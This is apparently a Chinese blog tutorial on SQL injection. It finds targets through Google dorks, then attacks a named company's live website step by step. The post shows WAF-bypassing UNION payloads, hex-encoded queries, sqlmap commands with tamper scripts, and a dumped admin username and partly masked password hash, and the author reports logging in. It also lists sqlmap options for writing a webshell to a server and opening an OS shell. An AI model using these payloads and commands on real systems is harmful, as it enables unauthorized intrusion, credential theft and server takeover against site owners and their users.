首页 > 数据库 >SQL注入

SQL注入

时间:2023-06-10 13:04:39浏览次数:78  
标签:sqlmap sanying 数据库 35 SQL php id 注入

一、寻找注入点

这一部分其实对于我这种刚学基础的小白是最难的, 很长一段时间就在盲目的换网站, 测试, 扫描, 不行就换下一个, 我推荐大家使用google hacking, 其实就是高级搜索语言, 我总结几个最简单最常用的用法

intext:

寻找正文中含有关键字的网页

例如: intext:后台登录 将只返回正文中包含 ”后台登录” 的网页

intitle:

寻找标题中含有关键字的网页

例如: intitle:登录 将只返回标题中包含”登录”的网页

inurl:

将返回url中含有关键词的网页

例如:inurl:Login 将返回url中含有 Login 的网页

site:

指定访问的站点

例如: site:baidu.com inurl:Login 将只在baidu.com 中查找url中含有 Login的网页

SQL注入_sql


Google hacking 既然有google当然用google最好了, 百度上….emmmmm…反正我和我身边的同学加起来几天就找到两个注入点, google我在一页就找到好几个, 当然大部分我都注入不进去, 不过我还是推荐大家用firefox或者chrome的代理插件, 比如…百度一下就有, 然后在www.google.com上使用google hacking如inurl:?id=1查找, 搜出来的网站下面绿色的网址会被google过滤一遍, 找到自己需要的格式的网址就比较方便, 如下图的第二个网站看起来就比较好注入

SQL注入_sql_02

之前的都是做准备, 现在的才是正题.

这里拿三樱包装(江苏)有限公司举个例子吧, url: http://www.shsuna.com/en/company.php?id=35 【注:该漏洞已提交相关平台】

进入网站之后, 用单引号试一下

SQL注入_sql_03

看到这行报错, 绝对路径都爆出来了, 看来有戏

SQL注入_sql_04

试一下 ?id=35 and 1=1 出现waf (Web应用防护系统, 也称:网站应用级入侵防御系统 。英文:Web Application Firewall,简称: WAF)

SQL注入_sql_05

猜测是刚才的空格被过滤了, 于是试试用连接符代替空格, ?id=35+and+1=1

[后台执行]: SELECT xxx FROM sanying WHERE id=35 and 1=1

因为 1 and 1 = 1 所以实际上是执行了SELECT xxx FROM sanying

SQL注入_sql_06

页面返回正常, 试试?id=35+and+1=2 发现返回空白页面

[后台执行]: SELECT xxx FROM sanying WHERE id=35 and 1=2

1 and 2 = 0

没有语法错误但是逻辑判断为假, 所以返回错误

SQL注入_sql_07

好的, 确认找到注入点

二、找到了注入点之后就有两种方法了, 手工和sqlmap手工注入:

Orderby1返回正常,orderby2返回错误页面,发现列数为1

[说明]:

Order by 是用于排序的, 后面的数字代表列数, 我们这里可以用来检测列数

Order by 1 第一列进行排序

……

Order by 10 错误, 就表示没有第十列, 所以一共有9列

2. http://www.shsuna.com/en/company.php?id=-35+union+select+1–+

找到字段位置

[后台执行]:

SELECT xxx FROM sanying WHERE id=-35 UNION SELECT 1

(UNION 联合查询, 用于合并两个或多个SELECT语句的结果集)

Id=-35逻辑判断为假, 所以为0, 语句就变成了使用联合查询来寻找显示位

(显示位: 在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据, 客户端将数据展示在页面中, 这个展示数据的位置就叫显示位)

SQL注入_sql_08

3. 使用mysql默认表名爆数据库名, 调整limit 0,1(0是指查询从0开始, 1指一个长度)

Mysql默认数据库:

| SCHEMATA ->SCHEMA_NAME |

| TABLES -> TABLE_SCHEMA |

Information_schema -> |->TABLE_NAME |

|COLUMNS -> TABLE_SCHEMA |

| -> TABLE_NAME |

|->COLUMN_NAME |

[说明]:

SELECT xxx FROM sanying WHERE id=-35 UNION SELECT schema_name FROM information_schema.schemata LIMIT 0,1

目的就是寻找默认数据库information_schema中, 表schemata内, 列schema_name里面存储的字段, 该字段有数据库内的所有的数据库名, 通过函数limit m,n挨个查询

得到三个数据库名

information_schema

sanying

testserver8800

SQL注入_sql_09

4. 试了一下

http://www.shsuna.com/en/company.php?id=-35+union+select+TABLE_NAME+from+information_schema.TABLES+where+TABLE_SCHEMA=%27sanying%27+limit+0,1–+

用了where+TABLE_SCHEMA=’sanying’ 限定数据库, 发现页面没动静, 再三确认没写错之后, 应该是单引号被过滤了, 于是考虑用 database代替, 但是这样只能得到当前数据库的信息, 可以使用十六进制绕过, 即用十六进制代替引号内的内容, 如sanying 的十六进制为73616e79696e67

(十六进制完整部分请看下一个大标题)

手动跑完17个payload得到17个表名

table:

db_down

db_field

db_files

db_index_images

db_jobs

db_manage

db_member

db_menu

db_message

db_my_ads

db_my_links

db_news

title

db_products

db_record

db_reservation

db_singlepage

db_web_class

SQL注入_sql_10

5. 观察当前数据库里面的表名,猜测db_member表里面保存用户信息, 于是直接构造联合查询开始猜解

猜解出username,password这两个关键字段

SQL注入_sql_11

得到username: aaaaaa

Password: 0b4e7a0e5fe[马赛克]b5f95b9ceeac79

密码为aa[马赛克]a的哈希

SQL注入_sql_12

SQL注入_sql_13

可直接登陆成功

十六进制绕过方法

因为要用到where+TABLE_SCHEMA=’库名’ 而单引号被过滤了, 所以可以使用库名的十六进制代替

http://www.shsuna.com/en/company.php?id=-35+union+select+TABLE_NAME+from+information_schema.TABLES+where+TABLE_SCHEMA=0x73616e79696e67+limit+0,1–+

Hex(sanying) = 73616e79696e67

SQL注入_sql_14

可以依次得到字段id,username,password,email,time

Hex(db_member) = 64625f6d656d626572

SQL注入_sql_15

+from+sanying.db_member+limit+0,1–+

用username,password替换加粗部分,得到用户名及密码

(经测试concat和group_concat会触发waf, 否则可以使用concat(str1,str2…)将多个字符串连接成一个字符串)

sqlmap方法

由于之前已经知道了是过滤空格, 所以tamper用 space2morehash.py 这个脚本

batch: 要求不对目标写入 # 防止删改数据库

tamper:使用干预脚本

-v 3 # 3为等级3, 不使用等级3无法继续下一步操作

常用脚本:

space2morehash.py

作用:将空格替换为#,并添加一个随机字符串和换行符

使用脚本前:tamper(’1 AND 9227=9227′)

使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227

space2hash.py

作用 : 空格替换为#号 随机字符串 以及换行符

base64encode.py

作用:替换为base64编码

使用脚本前:tamper(“1′ AND SLEEP(5)#”)

使用脚本后:MScgQU5EIFNMRUVQKDUpIw==

charencode.py

作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)

使用脚本前:tamper(‘SELECT FIELD FROM%20TABLE’)

使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

使用方法: sqlmap.py -u “” -v 3 –dbs –batch –tamper “脚本”

sqlmap -u -v 3 –dbs –batch –tamper “space2morehash.py”

> 得到数据库

SQL注入_sql_16

sqlmap -u http://www.shsuna.com/en/company.php?id=37 -v 3 -D sanying –tables –batch –tamper “space2morehash.py”

> 得sanying的表

SQL注入_sql_17

sqlmap -u http://www.shsuna.com/en/company.php?id=37 -v 3 -D sanying -T db_member –columns –batch –tamper “space2morehash.py”

> 得bd_member的字段

SQL注入_sql_18

sqlmap -u http://www.shsuna.com/en/company.php?id=37 -v 3 -D sanying -T db_member -C username,password –dump –batch –tamper “space2morehash.py”

> 得账户密码

SQL注入_sql_19

后面的过程就是获取数据库基本信息的常规思路,

得到数据库 sqlmap -u “这里是url” –dbs

得到表 sqlmap -u “这里是url” -D 上面得到的任意库名

得到字段 sqlmap -u “这里是url” -D 库名 -T 上面得到的任意表 –columns # 这里能看到如

得到数据 sqlmap -u “这里是url” -D 库名 -T 表-C username,password –dump

SQL注入_sql_20

发现可以成功登陆

Sqlmap基础用法

基本格式

sqlmap -u “http://www.vuln.cn/post.php?id=1”

默认使用level1检测全部数据库类型

sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3

指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)

cookie注入

当程序有防get注入的时候,可以使用cookie注入

sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)

从post数据包中注入,可以使用burpsuite或者temperdata等工具来抓取post包

sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数

读取与写入文件

首先找需要网站的物理路径,其次需要有可写或可读权限。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)

–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)

–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

#示例:

sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”

使用shell命令:

sqlmap -r “c:\tools\request.txt” -p id –dbms mysql –os-shell

接下来指定网站可写目录:

“E:\php\htdocs\dvwa”

#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)

sqlmap详细命令:

–is-dba 当前用户权限(是否为root权限)

–dbs 所有数据库

–current-db 网站当前数据库

–users 所有数据库用户

–current-user 当前数据库用户

–random-agent 构造随机user-agent

–passwords 数据库密码

–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理

–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

 

标签:sqlmap,sanying,数据库,35,SQL,php,id,注入
From: https://blog.51cto.com/u_16156984/6454407

相关文章

  • Failed to bind properties under 'spring.datasource.primary' to javax.sql.DataSou
     2023-06-1011:04:13.778WARN22452---[main]ConfigServletWebServerApplicationContext:Exceptionencounteredduringcontextinitialization-cancellingrefreshattempt:org.springframework.beans.factory.UnsatisfiedDependencyException:Error......
  • Failed to bind properties under 'spring.datasource.primary' to javax.sql.DataSou
     2023-06-1011:04:13.778WARN22452---[main]ConfigServletWebServerApplicationContext:Exceptionencounteredduringcontextinitialization-cancellingrefreshattempt:org.springframework.beans.factory.UnsatisfiedDependencyException:Error......
  • Failed to bind properties under 'spring.datasource.primary' to javax.sql.DataSou
    ​  2023-06-1011:04:13.778WARN22452---[main]ConfigServletWebServerApplicationContext:Exceptionencounteredduringcontextinitialization-cancellingrefreshattempt:org.springframework.beans.factory.UnsatisfiedDependencyException:......
  • Failed to bind properties under 'spring.datasource.primary' to javax.sql.DataSou
    ​  2023-06-1011:04:13.778WARN22452---[main]ConfigServletWebServerApplicationContext:Exceptionencounteredduringcontextinitialization-cancellingrefreshattempt:org.springframework.beans.factory.UnsatisfiedDependencyException:......
  • Sql2012安装
    在MSDN,我告诉你-做一个安静的工具站(itellyou.cn)中选择合适的版本;也可以直接ed2k://|file|cn_sql_server_2012_developer_edition_with_sp1_x64_dvd_1234492.iso|4231520256|C3653494E5E01CA5ADFAF910CBC32D75|/下载这个链接下载好后会进入这个界面我们选择左上角的安装......
  • SQL SERVER 2008 R2安装教程
    1、下载sqlserver2008r2的安装包(如果需要安装包可以私我,密钥自动输入)2、打开安装包,点击setup.exe3、点击“安装”,下一步选择“全新安装或向现有的安装添加功能”4、检测完成后点击确定5、选择输入产品密钥,这里会自动输入,下一步6、选择“我接受许可条款”,下一步7、选......
  • mybatis-动态构建SQL
    又学习到了,今天翻着队友写的代码,我看到了个注解,起初还以为是自定义的,我搜了下才发现,竟然是mybatis自带的这个注解,我竟然不知道,又是孤陋寡闻的一天,记录一下这个注解。查找了下这个注解发现这个注解是四个:我看了下与@Select有啥区别,这个@SelectProvider是能够加多条件判断的,看下面......
  • ms sql 表 索引查询
    SELECTOBJECT_NAME(IDX.object_id)Table_Name,IDX.nameIndex_name ,PAR.rowsNumOfRows ,IDX.type_descTypeOfIndexFROMsys.partitionsPARINNERJOINsys.indexesIDXONPAR.object_id=IDX.object_idANDPAR.index_id=IDX.index_idANDIDX.type......
  • 【后端面经-数据库】MySQL的存储引擎简介
    目录MySQL的存储引擎0.存储引擎的查看和修改1.MyISAM2.InnoDB3.MEMORY4.MERGE5.总结6.参考博客MySQL的存储引擎mysql主要有四类存储引擎,目前主要使用InnoDB作为存储引擎。0.存储引擎的查看和修改查看当前数据库的默认存储引擎showvariableslike'default_storage_e......
  • SpringBoot+Mysql+IDEA开发的社区医疗综合服务平台
    基于springboot的社区养老医疗综合服务平台项目介绍......